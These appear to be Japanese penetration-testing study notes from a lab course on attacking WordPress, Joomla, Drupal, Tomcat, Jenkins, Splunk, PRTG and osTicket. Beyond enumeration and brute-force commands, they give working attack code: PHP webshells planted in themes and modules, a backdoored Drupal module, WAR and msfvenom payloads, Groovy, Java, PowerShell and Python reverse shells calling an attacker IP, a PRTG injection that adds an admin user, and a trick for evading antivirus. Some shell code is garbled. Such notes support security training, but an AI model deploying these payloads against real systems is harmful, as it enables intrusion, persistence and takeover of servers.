WordPress
概要
- PHPで記述されており、通常はApache上で動作し、MySQLをバックエンドに使用する
ユーザー種別 | 説明 |
---|---|
Administrator(管理者) | ユーザーや投稿の追加・削除、ソースコードの編集も含めた全ての管理機能にアクセス可能 |
Editor(編集者) | 自分および他人の投稿の公開・管理が可能 |
Author(著者) | 自分の投稿を公開・管理できる |
Contributor(寄稿者) | 投稿の作成は可能だが、公開は不可 |
Subscriber(購読者) | 投稿の閲覧と自分のプロフィール編集のみ可能 |
脆弱性
- ある調査では、WordPressのハッキングのうち約8%が弱いパスワード、60%が古いバージョンの使用によるものだった
- WPScanによれば、約4,000件の既知の脆弱性のうち、54%がプラグイン由来、31.5%がWordPress本体、14.5%がテーマに起因
- デフォルトでは、WebページのHTMLソースコードにメタデータが挿入されており、そこにバージョン情報が含まれていることもある
発見・フットプリンティング
- WordPressサイトを特定する手早い方法として、
/robots.txt
にアクセスすること - /wp-adminや/wp-contentディレクトリからWordPressでわかることがわかる
- プラグインは wp-content/plugins に格納
- テーマは wp-content/themes に格納
- RCE(リモートコード実行)などの攻撃の手がかりになるため、注意深く列挙する必要がある
ページソースを見ることでWordPressが使われているかを確認できる
curl -s http://blog.inlanefreight.local | grep WordPress
<meta name="generator" content="WordPress 5.8" /
ソースコードを読み進めると、使用中のテーマ、プラグイン、ユーザー名(投稿に公開されている場合)などが分かる
curl -s http://blog.inlanefreight.local/ | grep themes
<link rel='stylesheet' id='bootstrap-css' href='http://blog.inlanefreight.local/wp-content/themes/business-gravity/assets/vendors/bootstrap/css/bootstrap.min.css' type='text/css' media='all' />
プラグインバージョンの特定
- ディレクトリリスティングが有効で readme.txt があり、バージョン1.0.0 と判明
→ このバージョンは2021年8月に公開されたLFI(ローカルファイルインクルージョン)脆弱性がある
curl -s http://blog.inlanefreight.local/ | grep plugins
Linux・Windows共通のScrapyでもわかる
ユーザーの列挙
- WordPressのデフォルトのログインページは /wp-login.php にある
- 存在しないユーザー名を入力した場合は、「ユーザーが見つかりません」と表示される
- ユーザー名の列挙に対して脆弱であると言える
- これを利用して、有効なユーザー名のリストを特定することが可能
wpscan
- WPScan は、WordPress 専用の自動スキャナー兼列挙ツール
- 使用されているテーマやプラグインが古いものや脆弱なものかどうかを特定できる
- WPScan は、外部の情報源から脆弱性情報を取得することもできる
- WPScan が PoC(概念実証)やレポートを取得するために使用する WPVulnDB(WordPress 脆弱性データベース) から APIトークン を取得できる
- apiトークン
インストール
sudo gem install wpscan
--enumerateフラグ
- WordPress アプリケーションのプラグイン、テーマ、ユーザー、メディア、バックアップなどを列挙できる
- 全プラグインを列挙する場合は
--enumerate ap
sudo wpscan --url http://tenten.htb/ random-user-agent --max-threads 10 --enumerate --api-token "API_KEY"
あんまりバイアスかかるの良くないけど、WordPressは、プラグインがOSSだからプラグインに脆弱性があること多いらしい
攻撃
ログインブルートフォース
- このツールは xmlrpc と wp-login の2種類のブルートフォース手法
- xmlrpc (推奨)
- WordPressのAPIを使用して、/xmlrpc.php 経由でログイン試行を行う
- wp-loginより早い
- wp-login
- 通常のログインページ(wp-login.php)に対する攻撃
- xmlrpc (推奨)
sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local
RCE
- 管理者権限でWordPressにアクセスできれば、PHPソースコードを改変してシステムコマンドを実行できる
- すでに列挙できたの資格情報でログインすると、管理パネルにリダイレクトされる
- /wp-admin
themeのphpを改変する
安全なRCE
- サイドバーの「外観 (Appearance)」をクリック。
- 「テーマエディタ (Theme Editor)」を選択。
- 現在有効なテーマ(Transport Gravity)とは別の非アクティブなテーマ(例:Twenty Nineteen)を選ぶと、安全に改変できます。
404.php ファイルを編集して以下のコードを追加
- これは、0 というGETパラメータを介して任意のシステムコマンドを実行可能にする
system($_GET[0]);
404.phpにアクセスしてコマンドを作る
curl http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=id
Metasploit
- wp_admin_shell_uploadでもRCEできる
msfconsole
use exploit/unix/webapp/wp_admin_shell_upload
set rhosts blog.inlanefreight.local
set username john
set password firebird1
set lhost 10.10.14.15
set rhost 10.129.42.195
set VHOST blog.inlanefreight.local
show options
exploit
Joomla
- Joomla は 2005 年 8 月にリリースされた、無料でオープンソースの CMS
- ディスカッションフォーラム、フォトギャラリー、eコマース、ユーザーベースのコミュニティなどに利用される
- PHP で書かれており、バックエンドには MySQL を使用
- Joomla は CMS 市場の 3.5% のシェアを持っている
- Joomla・PHP・データベースのバージョンや、インストールされているサーバー OS の内訳を公開 API 経由で問い合わせることができる
発見とフットプリンティング
Joomlaを使っていることの確認
curl -s http://dev.inlanefreight.local/ | grep Joomla
<meta name="generator" content="Joomla! - Open Source Content Management" />
Joomla サイトの robots.txt ファイルの、disableからログイン・adminページのヒントを得られる
- また、Joomla自体のバージョンも
curl -s http://dev.inlanefreight.local/README.txt | head -n 5
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
- 特定の Joomla インストールでバージョンが特定ができるファイル
media/system/js/
ディレクトリ内の JavaScript ファイルadministrator/manifests/files/joomla.xml
ファイルplugins/system/cache/cache.xml にある cache.xml
ファイル
curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format -
Droopescan
- プラグインベースのスキャナーで、SilverStripe、WordPress、Drupal に対応しており、Joomla や Moodle に対しても限定的に機能する
インストール
sudo pip3 install droopescan
スキャン
droopescan scan joomla --url http://dev.inlanefreight.local/
JoomlaScan
- 現在は開発停止となった OWASP の joomscan ツールに触発されて作られた Python ツール
- やや古く、Python 2.7 が必要
依存関係のあるライブラリのインストール
sudo python2.7 -m pip install urllib3
sudo python2.7 -m pip install certifi
sudo python2.7 -m pip install bs4
- ツールはやや古いものの、列挙作業において役立つことがある
- droopescan ほど有用ではない
- アクセス可能なディレクトリやファイルを見つけ出すのに役立つ
- インストールされている拡張機能のフィンガープリント取得にも役立つ
- ターゲットの特徴を特定して、何が動いているのかを見抜くこと。
スキャン
- ターゲットの特徴を特定して、何が動いているのかを見抜くこと。
git clone https://github.com/drego85/JoomlaScan.git
python2.7 joomlascan.py -u http://dev.inlanefreight.local
攻撃
ログインブルートフォース
上で実行したユーザー列挙を行うと、このようなメッセージが返ってきた
「ユーザー名とパスワードが一致しないか、まだアカウントが作成されていません。」
- Joomlaでは、デフォルトの管理者アカウントは admin ですが、パスワードはインストール時に設定される
- しかし、管理画面に入れる唯一の可能性は、アカウントに非常に弱い・ありがちなパスワードが設定されている場合に限る
インストール
git clone https://github.com/ajnik/joomla-bruteforce.git
ブルートフォース
sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
組み込み機能の悪用でのRCE
まずAdministratorでログインする
- ログインした後に以下のようなエラー出る時
http://<ドメイン>/administrator/index.php?option=com_plugins
にアクセスして、 「Quick Icon - PHP Version Check」 プラグインを無効化する
"An error has occurred. Call to a member function format() on null"
- 次に、テンプレートの一覧から名前をクリックします。ここでは protostar を選択
- これで「Templates: Customise」ページに移動
- 今回は error.php を選択する
- この中に、以下の PHP ワンライナーを挿入して、コード実行を可能にする
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
curl -s http://dev.inlanefreight.local/templates/protostar/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id
Drupal
- DrupalはPHP、バックエンドにはMySQLまたはPostgreSQL、SQLiteも使用可能
- インターネット上のWebサイトの約1.5%
- CMS市場全体の約2.4%
Drupalのデフォルトユーザータイプは以下の3種類
- Administrator(管理者)
- Drupalサイトに対して完全な権限を持つユーザー
- Authenticated User(認証済みユーザー)
- ログインして、権限に応じて記事の追加や編集などの操作が可能なユーザー
- Anonymous(匿名ユーザー)
- 全ての訪問者が該当。デフォルトでは投稿を読むことしかできません
Drupalの特徴として「ノード(nodes)」がある
- Drupalはコンテンツをノードという単位で管理している。
- ノードにはブログ投稿、投票、記事など、あらゆるコンテンツを格納できる
- ページのURLは通常
/node/<nodeid>
の形式になる
発見とフットプリンティング
DrupalのWebサイトは、以下のような方法で特定できる
- ヘッダーやフッターに表示される「Powered by Drupal」
- 標準のDrupalロゴ
- CHANGELOG.txtやREADME.txtファイルの存在
- ページソース内の記述
- robots.txtファイルに含まれる/nodeのような記述など
curl -s http://drupal.inlanefreight.local | grep Drupal
バージョン、インストールされているプラグインなどを特定できる
- 新しいDrupalのインストールでは、デフォルトで CHANGELOG.txt や README.txt へのアクセスがブロックされていることがある
CHANGELOG.txt を使ってバージョン番号を特定する例
curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
droopescanでバージョンを特定する必要がある
インストール
sudo pip3 install droopescan
スキャン
- droopescan はDrupalに対してはより多機能
droopescan scan drupal -u http://drupal.inlanefreight.local
攻撃
PHPフィルタモジュールの活用
-
古いバージョンのDrupal(バージョン8以前)では、管理者としてログインしてPHPフィルタモジュールを有効にすることが可能
-
このモジュールは「埋め込みPHPコード/スニペットを評価できる」ようにする
-
ここで、該当モジュールのチェックボックスをオンにし、ページ下部までスクロールして「設定を保存」する
http://drupal-qa.inlanefreight.local/#overlay=admin/modules
-
次に、「コンテンツ」→「コンテンツの追加」から基本ページを作成
http://drupal-qa.inlanefreight.local/#overlay=node/add
-
以下のような悪意あるPHPスニペットを含んだページを作成できる
-
ここでは、cmd という一般的なパラメータ名の代わりに、md5ハッシュで名前付けしてある
-
これは、テスト中に誰かが偶然ウェブシェルを見つけてしまう“ドライブバイ”攻撃を防ぐための良い習慣
-
system($_GET['cmd']);
のようにしてしまうと、誰でも簡単にコマンドを実行できてしまう
<?php
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
?>
以下のようにしてアクセスできる
curl -s http://drupal-qa.inlanefreight.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id | grep uid | cut -f4 -d">"
Drupal 8以降では、PHPフィルタモジュールはデフォルトではインストールされていない
- この機能を利用するには、自分でモジュールをインストールする必要がある
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- ダウンロード後は、Drupal管理画面の「レポート」→「利用可能な更新」へアクセス
- モジュールのインストールが完了したら、「コンテンツ」→「基本ページ作成」に進み、Drupal 7の例と同様にページを作成する
バックドア付きモジュールのアップロード
アーカイブのダウンロードと展開
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
PHPウェブシェルの作成
<?php
system($_GET[fe8edbabc5c5c9b7b764504cd22b17af]);
?>
.htaccessファイルの作成
- フォルダへのアクセスを可能にするための .htaccess ファイルを作成する
- Drupalはデフォルトで /modules フォルダへの直接アクセスを拒否しているため、これが必要
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
ファイルをモジュールフォルダに配置し、再アーカイブ
- 上記で作成した shell.php と .htaccess を captcha フォルダに移動させ、再度アーカイブする
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
Drupalでモジュールをアップロード
- 管理者アクセスがある場合、サイドバーの「管理」→「拡張」へ進む
- 次に「新しいモジュールをインストール」ボタン(+ Install new module)をクリックし、モジュールインストールページ(例:http://drupal.inlanefreight.local/admin/modules/install)にアクセスする
- 先ほど作成した**バックドア付きCaptchaアーカイブを選択して「インストール」**をクリックする
コマンドの実行
curl -s drupal.inlanefreight.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id
Tomcat
- Javaで書かれたアプリケーションをホストするオープンソースのWebサーバー
- Tomcatはもともと「Java Servlets」や「Java Server Pages (JSP)」 を実行するために設計された
- 内部ネットワークペンテストで非常によく出会う存在
- 通常「High Value Targets(高価値ターゲット)」の最上位に表示される
- 内部に存在するTomcatの少なくとも1つは、弱い認証情報やデフォルトの資格情報で構成されている場合がよくある
構成
- bin:Tomcatの起動や実行に必要なスクリプトとバイナリ
- conf:Tomcatの各種設定ファイル(tomcat-users.xml にユーザー情報あり)
- lib:動作に必要なJARファイル
- logs, temp:一時ファイル、ログファイル
- webapps:TomcatのWebルート、ここにアプリケーションが置かれる
- work:ランタイムキャッシュ
発見/フットプリンティング
- Tomcatサーバーは、HTTPレスポンスの Serverヘッダー から特定できる
- リバースプロキシの背後で動作している場合は、存在しないページをリクエストすることでサーバーとバージョンが漏れる
http://app-dev.inlanefreight.local:8080/invalid
カスタムエラーページが使われていてバージョン情報が漏れない場合は、/docs ページを利用してバージョンを判定できる
- これはTomcatのデフォルトドキュメントページであり、管理者によって削除されていないことがよくある
curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat
<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"
<SNIP>
確認すべきファイル
WEB-INF/web.xml(デプロイメントディスクリプタ)
- この設定では
/admin
というリクエストがAdminServlet.class
に送られるようにマッピングされている- Webアプリのルーティング情報(どのURLがどのJavaクラスに対応するか)や、使用しているServlet(サーバーサイドJavaコンポーネント)の情報が定義されている
- Javaでは com.inlanefreight.api.AdminServlet というクラス名は、実際には次のパスに対応する
WEB-INF/classes/com/inlanefreight/api/AdminServlet.class
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<servlet>
<servlet-name>AdminServlet</servlet-name>
<servlet-class>com.inlanefreight.api.AdminServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>AdminServlet</servlet-name>
<url-pattern>/admin</url-pattern>
</servlet-mapping>
</web-app>
tomcat-users.xml
- このファイルでは、/manager や host-manager の管理ページへのアクセス権限を設定する
- Tomcat の管理コンソール(例:/manager/html)へのアクセス制御設定ファイル
- ユーザ名とパスワードが書いてある
<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />
- manager-gui:GUIおよびステータスページへのアクセス
- manager-script:HTTP APIおよびステータスページ
- manager-jmx:JMXプロキシとステータスページ
- manager-status:ステータスページのみ
列挙
- Tomcatインスタンスのフィンガープリントを取った後、特に既知の脆弱性がなければ、まず /manager や /host-manager ページが存在するかを探す
- これらのページに、tomcat:tomcat や admin:admin などの弱い認証情報でログインできる可能性がある
- ログインページに対してブルートフォース攻撃を行うという選択肢もある(次章で説明)
gobuster dir -u http://web01.inlanefreight.local:8180/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
攻撃
- /manager や /host-manager エンドポイントにアクセスできるなら、Tomcatサーバー上でリモートコード実行(RCE)が可能になる可能性がある
ブルートフォース
metasploitのauxiliary/scanner/http/tomcat_mgr_login、burpsuiteを使える
- stop_on_success を true にすることで、ログインに成功した時点でスキャンを止めることができる
use auxiliary/scanner/http/tomcat_mgr_login
set VHOST web01.inlanefreight.local
set RPORT 8180
set stop_on_success true
set rhosts 10.129.201.58
- Metasploitや他のツールがうまく動作しない場合は、Burp SuiteやZAPでプロキシして通信を確認すると良い
- omcatはBasic認証を使うため、Burp上でヘッダーの Authorization を確認すると、Base64でエンコードされた資格情報が見られる
- 以下のようなPythonスクリプトでも、Metasploitと同じことができる
#!/usr/bin/python
import requests
from termcolor import cprint
import argparse
parser = argparse.ArgumentParser(description = "Tomcat manager or host-manager credential bruteforcing")
parser.add_argument("-U", "--url", type = str, required = True, help = "URL to tomcat page")
parser.add_argument("-P", "--path", type = str, required = True, help = "manager or host-manager URI")
parser.add_argument("-u", "--usernames", type = str, required = True, help = "Users File")
parser.add_argument("-p", "--passwords", type = str, required = True, help = "Passwords Files")
args = parser.parse_args()
url = args.url
uri = args.path
users_file = args.usernames
passwords_file = args.passwords
new_url = url + uri
f_users = open(users_file, "rb")
f_pass = open(passwords_file, "rb")
usernames = [x.strip() for x in f_users]
passwords = [x.strip() for x in f_pass]
cprint("\n[+] Atacking.....", "red", attrs = ['bold'])
for u in usernames:
for p in passwords:
r = requests.get(new_url,auth = (u, p))
if r.status_code == 200:
cprint("\n[+] Success!!", "green", attrs = ['bold'])
cprint("[+] Username : {}\n[+] Password : {}".format(u,p), "green", attrs = ['bold'])
break
if r.status_code == 200:
break
if r.status_code != 200:
cprint("\n[+] Failed!!", "red", attrs = ['bold'])
cprint("[+] Could not Find the creds :( ", "red", attrs = ['bold'])
#print r.status_code
実行
python3 mgr_brute.py -U http://web01.inlanefreight.local:8180/ -P /manager -u /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -p /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt
WARファイルアップロード
-
Tomcatインストール環境では、アプリケーションを管理するためのGUIインターフェースが提供されている
- デフォルトで/
manager/html
にあり、manager-guiロールが割り当てられたユーザーのみがアクセス可能
- デフォルトで/
-
有効なマネージャーの認証情報があれば、WARファイルをアップロードして、アプリケーションを乗っ取ることができる
- WAR(Web Application Archive)は、Webアプリケーションを迅速にデプロイしたり、バックアップとして保存するために使用される
-
WARファイルは、zipユーティリティを使って作成して、デプロイする
-
WAR file to deply
でデプロイする
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
デプロイすると、Manager GUIにアップロードされ、その後、/backupアプリケーションがテーブルに追加される
そして、アクセスすると、webシェルが動いている
curl http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id
msfvenomの使用
- .warファイルは、msfvenomでも作れる
- 作って、backupファイルにデプロイできる
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4443 -f war > backup.war
- このJSPウェブシェルは非常に軽量(1KB未満)で、ブックマークレットやブラウザのブックマークを使って必要なJavaScriptを実行し、UIを動作させる
- これはフットプリントを最小限に抑え、標準的なJSPウェブシェルの検出を回避するための優れた手段
- コードの一部分を変えるだけで、容易にAVを避けられる
- 例 :
FileOutputStream(f);stream.write(m);o="Uploaded:
をFileOutputStream(f);stream.write(m);o="uPlOaDeD:
に変換することでAVの検出率が0になる
Jenkins
-
Javaで書かれたオープンソースの自動化サーバー
-
Tomcatのようなサーブレットコンテナ上で動作するサーバーベースのシステム
-
Jenkinsは継続的インテグレーション(CI)サーバーとして、非常に広く利用されている
-
Jenkinsはもともと Hudson という名前で2005年にリリースされ、2011年にOracleとの対立の末、Jenkinsに改名された
-
データによれば、86,000社以上がJenkinsを利用している
-
Facebook、Netflix、Udemy、Robinhood、LinkedIn といった著名な企業もJenkinsを導入している
-
300以上のプラグインを備えており、プロジェクトのビルドとテストを強力にサポートする
発見/フットプリンティング
- ここでは、内部ネットワークのペネトレーションテストを実施しており、Webスキャンを完了した直後と仮定する
- JenkinsはしばしばWindowsサーバー上でSYSTEM権限で実行されているため、Jenkinsを通じてアクセスし、SYSTEM権限でリモートコード実行ができれば、Active Directoryへの足掛かりとなり、ドメイン環境の列挙(enumeration)を始めることができる
Jenkinsのポート構成
- ポート8080
- JenkinsがTomcat上で動作する標準ポート
- ポート5000
- マスターとスレーブノード間の通信に使用される(スレーブサーバーのアタッチ用)
セキュリティ設定ページ
- デフォルトのインストールでは、Jenkinsは認証情報を内部データベースに保存しており、ユーザーが自分でアカウント登録を行うことはできない
http://jenkins.inlanefreight.local:8000/configureSecurity/
- Jenkinsの存在は、以下のようなログインページから簡単にフィンガープリントできる
http://jenkins.inlanefreight.local:8000/login?from=%2F
攻撃
コマンドの実行
- サーバー上でコマンドを実行するための手っ取り早い方法のひとつが、**Script Console(スクリプトコンソール)**を利用すること
- GroovyスクリプトをJenkinsコントローラの実行環境内で任意に実行できる
- 基盤となるサーバー上でOSコマンドを実行することが可能
- Jenkinsは多くの場合、root や SYSTEM アカウントのコンテキストでインストールされている
- 非常に簡単に完全な管理権限を奪取できる攻撃手法
スクリプトコンソールへのアクセス
http://jenkins.inlanefreight.local:8000/script
- Apache Groovyスクリプトが実行可能
- GroovyはJavaと互換性のあるオブジェクト指向言語で、PythonやRubyに似た文法を持っている
- このスクリプトコンソールを使うことで、ウェブシェルのように任意のコマンドを実行することができる
id コマンドを実行するコマンド
def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
リバースシェルの取得
- スクリプトコンソールを利用して、リバースシェルを取得することも可能
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
nc -lvnp 8443
Windows上のJenkinsであれば、以下のようなコードで、Windows上でもコマンド実行が可能
def cmd = "cmd.exe /c dir".execute();
println("${cmd.text}");
JavaによるWindows用リバースシェル
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Splunk
- ログ解析ツール、データの収集・分析・可視化につかわれる
- SIEM(セキュリティ情報イベント管理)ツールとして設計されたわけではありませんが、セキュリティ監視やビジネス分析に広く利用されている
- Splunkの導入環境には機密性の高いデータが含まれていることが多く、もし侵害されれば、攻撃者にとって非常に貴重な情報源となる可能性がある
実務での観測
- 内部ペンテストでは、Splunkの存在は非常によく見かける
- 特に大企業のネットワーク内では顕著
- 外部に公開されているSplunkもまれにありますが、それはかなり稀なケース
- Splunkは通常、脆弱性が少なく、パッチ適用も早いため、攻撃の対象としては堅牢
- しかし、弱い認証や認証なしの構成は危険
- Splunkに管理者アクセスが可能であれば、カスタムアプリを導入して権限昇格・横展開も容易になる
発見・フットプリンティング
- Linuxではroot、WindowsではSYSTEM権限で実行されていることが多い
- Splunkに焦点を当ててRCE(リモートコード実行)に繋げるのは有効な戦略
デフォルトポートと認証情報
- SplunkのWebサーバーはデフォルトでポート8000
- 古いバージョンのデフォルト認証情報
- ユーザー名:
admin
- パスワード:
changeme
最新バージョンでは…
- ユーザー名:
- 現在のSplunkでは、インストール時に認証情報の設定が求められる
Splunkの発見には、nmapのサービススキャンが有効
- 8000/tcp:Splunk Webインターフェース
- 8089/tcp:Splunk REST APIとの通信に使用される管理ポート
sudo nmap -sV 10.129.201.50
<..SNIP..>
8000/tcp open ssl/http Splunkd httpd
8080/tcp open http Indy httpd 17.3.33.2830 (Paessler PRTG bandwidth monitor)
8089/tcp open ssl/http Splunkd httpd
列挙
- Splunk Enterpriseのトライアル版は、「60日後に認証不要の無料版(Splunk Free)」へ自動的に切り替わる
- システム管理者がSplunkを試用目的でインストールし、そのまま忘れ去られてしまうケースは珍しくない
アクセスURL https://10.129.201.50:8000/en-US/app/launcher/home
認証なしで、ログインできた時こんなことができる
- データの閲覧
- レポートの実行
- ダッシュボードの作成
- Splunkbaseライブラリからのアプリのインストール
- カスタムアプリケーションの導入 など
攻撃
- カスタムアプリケーションを作成して、Python、バッチ(Batch)、Bash、またはPowerShellスクリプトを実行させることで、Splunk上でリモートコード実行(RCE)を実現できる
windows上で実行されている場合
- SplunkにはPythonが標準で搭載されている
- PythonまたはPowerShellスクリプトを使ったカスタムアプリを作成することで、リモートコード実行が可能になる
標準機能の悪用でのRCE
Windows
- 今回の攻撃では、以下のような構成のSplunkアプリケーションを使用する
- bin ディレクトリには実行させたいスクリプト(ここではPowerShellリバースシェル)を置き、default ディレクトリには inputs.conf を配置
mkdir splunk_shell
cd splunk_shell
mkdir bin
mkdir default
PowerShellリバースシェルの例(ワンライナー)
nano bin/run.ps1
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.15',8000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
bin/run.batに書くこと
nano bin/run.bat
@ECHO OFF
PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"
Exit
default/inputs.confの設定例
nano default/inputs.conf
[script://./bin/run.ps1]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
こうなってればおけ
cd ../
tree splunk_shell/
splunk_shell/
├── bin
│ ├── run.bat
│ └── run.ps1
└── default
└── inputs.conf
tar.gzでアプリケーションをパッケージ化
tar -cvzf updater.tar.gz splunk_shell/
Splunk管理画面からアプリをアップロード
アップロード前にNetcatで待ち受けを開始する
sudo nc -lnvp 8000
listening on [any] 443 ...
アップロードページ
- アップロード後、アプリは自動で有効化され、すぐにリバースシェルが返ってくる
- https://10.129.201.50:8000/en-US/manager/appinstall/_upload
Linux
- Linuxホストの場合は、以下のような rev.py スクリプトを使用する
- このPythonスクリプトを bin に配置し、アプリをパッケージ&アップロードすれば、Linuxでも同様にリバースシェルが取得可能
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
SplunkがDeployment Serverの場合
- もし侵害したSplunkサーバーがDeployment Server(配布サーバー)だった場合、その配下のUniversal Forwarder(UF)をインストールしている他のホストにもRCEを仕掛けることが可能になる
- この場合、作成した悪意あるアプリケーションを
$SPLUNK_HOME/etc/deployment-apps/
に配置する必要がある - 特にWindows環境が多いネットワークでは、Universal ForwarderにはPythonが無いため、PowerShellベースのアプリケーションを用意する必要がある
PRTG
- エージェントレスのネットワーク監視ソフトウェア
- 帯域幅の使用状況や稼働時間の監視、ルーター、スイッチ、サーバーなどのホストからの統計情報の収集に使用される
- 自動検出モードを使用してネットワークの領域をスキャンし、デバイスリストを作成する
- このリストが作成されると、ICMP、SNMP、WMI、NetFlowなどのプロトコルを使用して検出されたデバイスからさらに情報を収集できる
- デバイスはREST APIを介してツールと通信することも可能
- 同社によれば、世界中で30万人のユーザーがPRTGを使用している
- このツールを開発したPaessler社は、1997年から監視ソリューションを提供している
- PRTGを使用してネットワークを監視している組織には、ナポリ国際空港、バージニア工科大学、セブンイレブンなどがある
- これまでにPRTGには26件の脆弱性が報告されており、そのうち4件には容易に見つけられる公開されたエクスプロイトPoCがある
- これらは、2件のクロスサイトスクリプティング(XSS)、1件のサービス拒否(DoS)、および1件の認証済みコマンドインジェクション脆弱性である
- 内部ペネトレーションテスト中にPRTGに遭遇することはよくある
発見/フットプリンティング/列挙
- PRTGは、Nmapで簡単に見つかる
- 通常、ポート80、443、8080などの一般的なウェブポートで見つかる
- 管理者としてログインしている場合、[Setup]セクションでウェブインターフェースのポートを変更することも可能
snowyowl644@htb[/htb]$ sudo nmap -sV -p- --open -T4 10.129.201.50
8080/tcp open http Indy httpd 17.3.33.2830 (Paessler PRTG bandwidth monitor)
- EyeWitnessスキャンにも表示される
PRTGのデフォルトの資格情報
- prtgadmin:prtgadmin
- これらは通常、ログインページに事前入力されており、変更されていないことがよくある
- Nessusなどの脆弱性スキャナーにも、PRTGの存在を検出するプラグイン
攻撃
RCE
`test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add
列をクリックしないと、テストボタンが押せない
OsTicket
- オープンソースのサポートチケットシステム
- Jira、OTRS、Request Tracker、Spiceworks などのシステムと比較されることがある
- メール、電話、Web フォームからのユーザーの問い合わせを統合し、Web インターフェースで一元管理できる仕組みを提供する
- PHP で記述され、MySQL をバックエンドとして使用しており、Windows または Linux にインストール可能
- 多くは企業、学校、大学、地方自治体などが osTicket を使用しているようです。TVドラマ「Mr. Robot」にも短く登場したことがある
- サポートチケットシステムの世界に触れ、「評価対象として見落とされがちだが、実は重要である」ことを理解すること
- osTicket はよくメンテナンスされている Web アプリケーションであり、数十年分の CVE を見ても深刻な脆弱性や実用的なエクスプロイトはほとんどない
発見 / フットプリンティング / 列挙
- 多くの osTicket インストールでは、ページのフッターに「powered by osTicket」や「Support Ticket System」などの文字が表示される
- Nmap スキャンでは、Apache や IIS といった Web サーバの情報が得られるだけで、アプリケーションの特定にはあまり役に立たない
攻撃
- 普通にいろんな脆弱性ある
- その中でも、osTicket バージョン1.14.1には CVE-2020-24881 という SSRF(Server Side Request Forgery) 脆弱性が存在する
- これが悪用されると、社内リソースへのアクセス や 内部ポートスキャン などに利用される可能性がある
サポートベクトルを使った別の攻撃
- Webアプリケーション自体の脆弱性を突くのではなく、サポートポータルから会社のメールアドレスを取得して利用するというアプローチがある
- このメールアドレスは、Slack や GitLab など、外部サービスでのアカウント登録に活用できる可能性がある
例 - Slack や GitLab などのサービスが外部公開されており、「会社のメールアドレスが必要な招待制」であるとする
- 多くの企業では「
support@inlanefreight.local
」のようなサポート用メールアドレスを持っている - こういったメールに送った内容は、ZendeskやosTicketなどの**サポートポータル(外部からも見える)**で公開されていることがある
